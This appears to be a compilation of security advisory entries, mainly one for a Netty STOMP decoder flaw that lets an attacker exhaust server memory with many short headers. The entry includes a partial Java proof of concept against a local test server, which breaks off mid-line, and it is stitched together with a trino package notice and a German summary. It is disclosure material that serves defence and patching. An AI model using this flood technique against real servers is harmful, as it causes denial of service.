Affected: CleanStart: trino

Multiple security vulnerabilities affect the trino package. jackson-databind's deserializer for java. See references for individual vulnerability details.

Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

Affected: Maven: io.netty:netty-codec-stomp

### Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

### Details `io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.

### PoC Run the server with `-Xmx256m`

```java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } } ```

```java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStre…

Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.
